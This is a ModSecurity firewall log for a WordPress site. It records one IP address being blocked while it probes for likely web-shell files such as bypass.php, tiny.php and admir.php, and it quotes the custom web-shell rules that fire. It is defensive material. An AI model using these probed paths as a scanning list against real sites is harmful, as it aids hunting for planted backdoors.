[Thu Apr 02 20:12:06.887513 2026] [:error] [pid 29467:tid 29490] [client 74.248.134.192:5547] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tool.php"] [unique_id "ac5dFr4VUBFCJAq-WOmIpAAAARQ"]
[Thu Apr 02 20:12:07.523938 2026] [:error] [pid 29467:tid 29481] [client 74.248.134.192:57055] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tool.php"] [unique_id "ac5dF74VUBFCJAq-WOmIpwAAAQs"]
[Thu Apr 02 20:12:15.246546 2026] [:error] [pid 23927:tid 23942] [client 74.248.134.192:41878] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-2019.php"] [unique_id "ac5dH0sZwqCndhl9uKC2GwAAAY0"]
[Thu Apr 02 20:12:15.946452 2026] [:error] [pid 54384:tid 54403] [client 74.248.134.192:54122] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-2019.php"] [unique_id "ac5dH9WWpaby3TVN7McTVAAAAdE"]
[Thu Apr 02 20:12:16.479427 2026] [:error] [pid 54384:tid 54391] [client 74.248.134.192:34387] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-2019.php"] [unique_id "ac5dINWWpaby3TVN7McTVwAAAcU"]
[Thu Apr 02 20:12:17.075968 2026] [:error] [pid 37543:tid 37557] [client 74.248.134.192:58727] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-2019.php"] [unique_id "ac5dIXhdk2bEYJCvILbf9AAAAUw"]
[Thu Apr 02 20:12:17.698372 2026] [:error] [pid 54384:tid 54407] [client 74.248.134.192:50080] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bypass.php"] [unique_id "ac5dIdWWpaby3TVN7McTWwAAAdU"]
[Thu Apr 02 20:12:18.340419 2026] [:error] [pid 23927:tid 23938] [client 74.248.134.192:43213] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bypass.php"] [unique_id "ac5dIksZwqCndhl9uKC2HAAAAYk"]
[Thu Apr 02 20:12:18.854612 2026] [:error] [pid 29467:tid 29494] [client 74.248.134.192:18937] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bypass.php"] [unique_id "ac5dIr4VUBFCJAq-WOmItQAAARg"]
[Thu Apr 02 20:12:19.632965 2026] [:error] [pid 29467:tid 29486] [client 74.248.134.192:18901] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bypass.php"] [unique_id "ac5dI74VUBFCJAq-WOmIuQAAARA"]
[Thu Apr 02 20:12:20.354115 2026] [:error] [pid 29467:tid 29489] [client 74.248.134.192:18906] [client 74.248.134.192] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "ac5dJL4VUBFCJAq-WOmIvgAAARM"]
[Thu Apr 02 20:12:21.305861 2026] [:error] [pid 37543:tid 37551] [client 74.248.134.192:32485] [client 74.248.134.192] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/wp-login.php"] [unique_id "ac5dJXhdk2bEYJCvILbf-AAAAUY"]
[Thu Apr 02 20:12:21.870905 2026] [:error] [pid 37543:tid 37549] [client 74.248.134.192:32464] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tiny.php"] [unique_id "ac5dJXhdk2bEYJCvILbf-wAAAUQ"]
[Thu Apr 02 20:12:22.635456 2026] [:error] [pid 59305:tid 59309] [client 74.248.134.192:32477] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tiny.php"] [unique_id "ac5dJqr2tV4rDwKFxKeQFgAAAMA"]
[Thu Apr 02 20:12:23.404762 2026] [:error] [pid 23927:tid 23953] [client 74.248.134.192:57072] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tiny.php"] [unique_id "ac5dJ0sZwqCndhl9uKC2IgAAAZg"]
[Thu Apr 02 20:12:23.972292 2026] [:error] [pid 37543:tid 37565] [client 74.248.134.192:21980] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock.php"] [unique_id "ac5dJ3hdk2bEYJCvILbgBQAAAVQ"]
[Thu Apr 02 20:12:24.589600 2026] [:error] [pid 59201:tid 59269] [client 74.248.134.192:43202] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock.php"] [unique_id "ac5dKMAC0Tw8eL6gzZ4fGwAAAII"]
[Thu Apr 02 20:12:25.191458 2026] [:error] [pid 54384:tid 54406] [client 74.248.134.192:50127] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock.php"] [unique_id "ac5dKdWWpaby3TVN7McTXgAAAdQ"]
[Thu Apr 02 20:12:25.733469 2026] [:error] [pid 37543:tid 37563] [client 74.248.134.192:43241] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock.php"] [unique_id "ac5dKXhdk2bEYJCvILbgCQAAAVI"]
[Thu Apr 02 20:12:26.250694 2026] [:error] [pid 59305:tid 59322] [client 74.248.134.192:35617] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mail.php"] [unique_id "ac5dKqr2tV4rDwKFxKeQGgAAAM0"]
[Thu Apr 02 20:12:26.796203 2026] [:error] [pid 59305:tid 59329] [client 74.248.134.192:5533] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mail.php"] [unique_id "ac5dKqr2tV4rDwKFxKeQHAAAANQ"]
[Thu Apr 02 20:12:27.562616 2026] [:error] [pid 29467:tid 29484] [client 74.248.134.192:54137] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mail.php"] [unique_id "ac5dK74VUBFCJAq-WOmIxAAAAQ4"]
[Thu Apr 02 20:12:28.157003 2026] [:error] [pid 59305:tid 59318] [client 74.248.134.192:35619] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mail.php"] [unique_id "ac5dLKr2tV4rDwKFxKeQIwAAAMk"]
[Thu Apr 02 20:12:28.731464 2026] [:error] [pid 29467:tid 29486] [client 74.248.134.192:52225] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/marijuana.php"] [unique_id "ac5dLL4VUBFCJAq-WOmIygAAARA"]
[Thu Apr 02 20:12:29.321302 2026] [:error] [pid 29467:tid 29480] [client 74.248.134.192:57064] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/marijuana.php"] [unique_id "ac5dLb4VUBFCJAq-WOmIzQAAAQo"]
[Thu Apr 02 20:12:29.852828 2026] [:error] [pid 37543:tid 37559] [client 74.248.134.192:57075] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/marijuana.php"] [unique_id "ac5dLXhdk2bEYJCvILbgCgAAAU4"]
[Thu Apr 02 20:12:30.602561 2026] [:error] [pid 29467:tid 29473] [client 74.248.134.192:29583] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/marijuana.php"] [unique_id "ac5dLr4VUBFCJAq-WOmI1AAAAQM"]
[Thu Apr 02 20:12:31.260613 2026] [:error] [pid 59201:tid 59279] [client 74.248.134.192:41922] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/333.php"] [unique_id "ac5dL8AC0Tw8eL6gzZ4fHQAAAIw"]
[Thu Apr 02 20:12:31.852323 2026] [:error] [pid 59201:tid 59282] [client 74.248.134.192:30958] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/333.php"] [unique_id "ac5dL8AC0Tw8eL6gzZ4fHwAAAI8"]
[Thu Apr 02 20:12:32.406535 2026] [:error] [pid 59305:tid 59329] [client 74.248.134.192:52229] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/333.php"] [unique_id "ac5dMKr2tV4rDwKFxKeQJgAAANQ"]
[Thu Apr 02 20:12:32.924877 2026] [:error] [pid 59305:tid 59325] [client 74.248.134.192:59337] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/333.php"] [unique_id "ac5dMKr2tV4rDwKFxKeQJwAAANA"]
[Thu Apr 02 20:12:33.571735 2026] [:error] [pid 59194:tid 59218] [client 74.248.134.192:32478] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/444.php"] [unique_id "ac5dMRMpAeV11hcQehxHWQAAAAU"]
[Thu Apr 02 20:12:34.083068 2026] [:error] [pid 23927:tid 23936] [client 74.248.134.192:20659] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/444.php"] [unique_id "ac5dMksZwqCndhl9uKC2IwAAAYc"]
[Thu Apr 02 20:12:34.735672 2026] [:error] [pid 54384:tid 54393] [client 74.248.134.192:59401] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/444.php"] [unique_id "ac5dMtWWpaby3TVN7McTaQAAAcc"]
[Thu Apr 02 20:12:35.382828 2026] [:error] [pid 54384:tid 54400] [client 74.248.134.192:35645] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/444.php"] [unique_id "ac5dM9WWpaby3TVN7McTbAAAAc4"]
[Thu Apr 02 20:12:36.228376 2026] [:error] [pid 23927:tid 23941] [client 74.248.134.192:38816] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "ac5dNEsZwqCndhl9uKC2JQAAAYw"]
[Thu Apr 02 20:12:36.788638 2026] [:error] [pid 54384:tid 54386] [client 74.248.134.192:18933] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "ac5dNNWWpaby3TVN7McTbwAAAcA"]
[Thu Apr 02 20:12:37.516967 2026] [:error] [pid 29467:tid 29480] [client 74.248.134.192:23847] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "ac5dNb4VUBFCJAq-WOmI5AAAAQo"]
[Thu Apr 02 20:12:38.290699 2026] [:error] [pid 29467:tid 29473] [client 74.248.134.192:34376] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "ac5dNr4VUBFCJAq-WOmI6AAAAQM"]
[Thu Apr 02 20:12:38.891409 2026] [:error] [pid 29467:tid 29471] [client 74.248.134.192:22010] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/filesss.php"] [unique_id "ac5dNr4VUBFCJAq-WOmI6wAAAQE"]
[Thu Apr 02 20:12:39.870517 2026] [:error] [pid 29467:tid 29472] [client 74.248.134.192:23865] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/filesss.php"] [unique_id "ac5dN74VUBFCJAq-WOmI8QAAAQI"]
[Thu Apr 02 20:12:41.198615 2026] [:error] [pid 54384:tid 54400] [client 74.248.134.192:38796] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/filesss.php"] [unique_id "ac5dOdWWpaby3TVN7McTdwAAAc4"]
[Thu Apr 02 20:12:41.961328 2026] [:error] [pid 59201:tid 59285] [client 74.248.134.192:38363] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/filesss.php"] [unique_id "ac5dOcAC0Tw8eL6gzZ4fIwAAAJI"]
[Thu Apr 02 20:12:43.211840 2026] [:error] [pid 23927:tid 23933] [client 74.248.134.192:32431] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file88.php"] [unique_id "ac5dO0sZwqCndhl9uKC2LAAAAYQ"]
[Thu Apr 02 20:12:45.248533 2026] [:error] [pid 59305:tid 59309] [client 74.248.134.192:41963] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file88.php"] [unique_id "ac5dPar2tV4rDwKFxKeQKwAAAMA"]
[Thu Apr 02 20:12:47.701917 2026] [:error] [pid 59200:tid 59240] [client 74.248.134.192:39988] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file88.php"] [unique_id "ac5dP7fP26txrdLs3Ep3jQAAAEA"]
[Thu Apr 02 20:12:49.869410 2026] [:error] [pid 29467:tid 29477] [client 74.248.134.192:25099] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file88.php"] [unique_id "ac5dQb4VUBFCJAq-WOmJBgAAAQc"]
[Thu Apr 02 20:12:51.195454 2026] [:error] [pid 29467:tid 29473] [client 74.248.134.192:5656] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/X7x.php"] [unique_id "ac5dQ74VUBFCJAq-WOmJEAAAAQM"]
[Thu Apr 02 20:12:51.861104 2026] [:error] [pid 29467:tid 29483] [client 74.248.134.192:35024] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/X7x.php"] [unique_id "ac5dQ74VUBFCJAq-WOmJFQAAAQ0"]
[Thu Apr 02 20:12:52.754014 2026] [:error] [pid 59305:tid 59313] [client 74.248.134.192:21892] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/X7x.php"] [unique_id "ac5dRKr2tV4rDwKFxKeQOgAAAMQ"]
[Thu Apr 02 20:12:53.757994 2026] [:error] [pid 59305:tid 59319] [client 74.248.134.192:56437] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/X7x.php"] [unique_id "ac5dRar2tV4rDwKFxKeQPwAAAMo"]
[Thu Apr 02 20:12:54.519760 2026] [:error] [pid 59305:tid 59311] [client 74.248.134.192:51679] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admir.php"] [unique_id "ac5dRqr2tV4rDwKFxKeQQwAAAMI"]
[Thu Apr 02 20:12:55.186655 2026] [:error] [pid 59305:tid 59315] [client 74.248.134.192:64153] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admir.php"] [unique_id "ac5dR6r2tV4rDwKFxKeQRwAAAMY"]
[Thu Apr 02 20:12:55.816244 2026] [:error] [pid 59305:tid 59333] [client 74.248.134.192:47584] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admir.php"] [unique_id "ac5dR6r2tV4rDwKFxKeQSgAAANg"]
[Thu Apr 02 20:12:56.440343 2026] [:error] [pid 23927:tid 23929] [client 74.248.134.192:56424] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admir.php"] [unique_id "ac5dSEsZwqCndhl9uKC2OgAAAYA"]
[Thu Apr 02 20:12:57.167951 2026] [:error] [pid 59305:tid 59314] [client 74.248.134.192:63478] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aj.php"] [unique_id "ac5dSar2tV4rDwKFxKeQTgAAAMU"]
